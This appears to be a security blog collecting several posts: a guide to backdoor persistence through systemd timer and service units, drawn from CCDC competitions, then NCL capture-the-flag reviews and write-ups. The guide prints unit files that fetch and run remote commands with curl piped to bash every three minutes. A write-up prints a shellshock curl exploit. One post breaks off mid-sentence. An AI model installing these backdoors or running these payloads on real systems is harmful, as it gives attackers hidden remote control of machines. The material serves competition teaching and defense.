Establishing Persistence with systemd.timers

With the push to covert all of our old init style processes managers to the new cutting-edge systemd, comes a whole new set of security concerns. In several recent competitions, I was able to establish persistence with systemd.timer units. Timer units are designed to run repetitive tasks on behalf of an existing service. This is normally used to establish service watchers, in case a service were to hang of crash. However, we can take advantage of this build-in core functionality to establish near-kernel level persistence with systemd.timers. As an added bonus, it’s a bit more difficult to find then a crontab and there are several tools that can convert existing crontabs to systemd.timers.

In order to take advantage of persistence with systemd.timers, we just need write access to the /etc/systemd/system/ or /usr/lib/systemd/system/ directory. With a user with write access, normally only root, we can create a service unit file and a timer unit file. Once the files are created, we can register the timer unit with systemd and it will execute our service unit, per our timer unit schedule. Timer units can even be registered with systemd to be started at boot automatically, to maintain persistence through reboots.

Example persistence with systemd.timers

To establish persistence with systemd.timers, we first need to create a service unit. In this case I created a file called /etc/systemd/system/backdoor.service, which would connect to a web server and execute a the given command.

[Unit]
Description=Backdoor

[Service]
Type=simple
ExecStart=curl --insecure https://127.0.0.1/cmd.txt|bash

Next I created a timer unit that launches my backdoor.service every 3 mins, to execute my latest CnC commands. The following is the contents of the file, /etc/systemd/system/backdoor.timer, which I used throughout the CCDC competitions.

[Unit]
Description=Runs backdoor ever 3 mins

[Timer]
OnBootSec=5min
OnUnitActiveSec=3min
Unit=backdoor.service

[Install]
WantedBy=multi-user.target

Once those two files are created within one of the systemd unit directories, we can simple establish the persistence with systemd.timer, by starting the unit timer.

systemctl start backdoor.timer

Then to ensure the timer is automatically started a boot, tell systemd to enable the timer unit at startup.

systemctl enable backdoor.timer

As far as I can tell from my research, there isn’t any easy way to detect these types of backdoors. However, in the CCDC competition space, I highly recommend running a command like the following in a screen to identify changes to timer units.

watch -d systemctl list-timers

Example persistence with Single Service Unit

The alterative is to have a single service unit that takes advantage of an exit code of 0; to continuously restart. Bellow is an example of such a service unit file, that will just restart every 3 mins and also execute our CnC command.

[Service]
Type=simple
ExecStart=curl --insecure https://127.0.0.1/cmd.txt|bash; exit 0
Restart=always
RestartSec=180

For more detailed information see the full documentation at: https://www.freedesktop.org/software/systemd/man/ or through your local man pages.

NCL Summer 2015 Skyline Thoughts and Challenges Walk through

NCL recently ran a pilot to introduce there new skyline platform. Although this will likely be the NCL Summer 2015 competition i’ll be able to compete in, I wanted to give my honest opinion on the platform and walk through some of the challenges that I thought were well done.

Review:

First of all I find that this new Skyline platform had far better performance then old NCL scoring engine. This is likely due to the lower number of players in this summer round, but I hope the stability remains. Additionally, I thought the step by step approach with hints available will make challenges far more approachable to player who are new to the infosec competition space. My only real criticism would be the web app challenge, having it embedded into the skyline interface made it much harder to work with. In the further maybe still host web app challenges in AWS.

Challenges:

QR Code Images

There were really two very similar QR image challenges. These were among my favorite present, in this NCL round. Since some of the guided questions were very similar I will just cover them once. Now the latter image is given to you in 4 pieces and you are meant to use your forensic skills to reassemble the image based on some hex headers, footers, and commonalities. However, I just wrote a quick script to cat each of the files together in each of the possible permutations; then just opened the one that showed a valid thumbnail of the image.

What is the md5 hash of the image? In both chases the following command on that trust kali box will get you the

NCL 2014 Team Challenges

Although I wont cover all of the team challenges that Kernel Panic completed during the NCL 2014 Team Post Season round, several stood out amongst the rest.

I’d also note, some of the challenges from the individual round were covered on the site of my Cyber Defense Team.

Passwords 1:

For this challenge, we were given a password hashing algorithm written in java script. I heard from some other teams, that they had successfully reverse engineered the algorithm; in order to decode the passwords. However, we had s better rate of success just running a word list through the algorithm and doing some string comparison. In the end it turned out, that the passwords were all World of Warcraft towns, and a few Google’s made a winning word list.

Recon 2:

In this challenge we were asked to find the port on a server that was actually running an HTTP 1.0 compatible server and to then to find several flags. After a very confusing start, we discovered that the server was running port spoof. This nifty piece of software, randomly generates one of roughly 400 legitimate service banners, on each of the unused ports. Several of these possible banners being Apache products. However, it turned out that the web server was running nginx, which only really has one service banner. So we were able to use nmap to request the service banner for each port and then grep through the results for nginx. We then found the correct port to be 56565, and the first 5 flags could be found from viewing the pages source.

NCLRecon2

In order to get the last flag, you would have had to guess or know from previous exercise (<- what the heck NCL), that you can just throw a /flag on the end of the site URL. You will then be served a text file with the flag information inside it.

NCLRecon2flag

Web 3:

Using the CHANGELOG.txt file of the site, we were quickly able to identify that the server was vulnerable to a string of Drupal vulnerabilities that had recently surfaced. However, due to the destructive (<- no fun NCL) nature of these SQL based exploits, we were unable to gain a strong foot hold within this box. It should be noted that towards the end of the session a metasploit module (drupal_drupageddon) was even release to exploit this vulnerability, and still very few teams were able to capture the flag.

Exploit 3:

This challenge was all about gaining access to the system and gathering flags. The exploit being the shellshock vulnerability allowing for a special string of characters to be passed into a web function that processes bash commands. In this case, the vulnerability existed in a php-cgi script called dpkglist. This allowed for a specially encoded string to be passed as the user agent of an http request, to the effected web server. This string can also be manipulated to allow for fully qualified commands to be entered and their output to be displayed, if they output only one stream. Bellow is the curl command I engineered during the challenge to run the cat command on the flag files.

curl -H “User-Agent: () { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /bin/cat flag.cgi;” -k https://54.83.28.186/cgi-bin/dpkglist.cgi

 

Special thanks to the other members of my team:

Turner “Shadow_Crux” England

Wade “HelpdeskMan” Schimmoeller

Elliot “CiscoMan”  Stidd

Michael “Seleventyeleven” Contino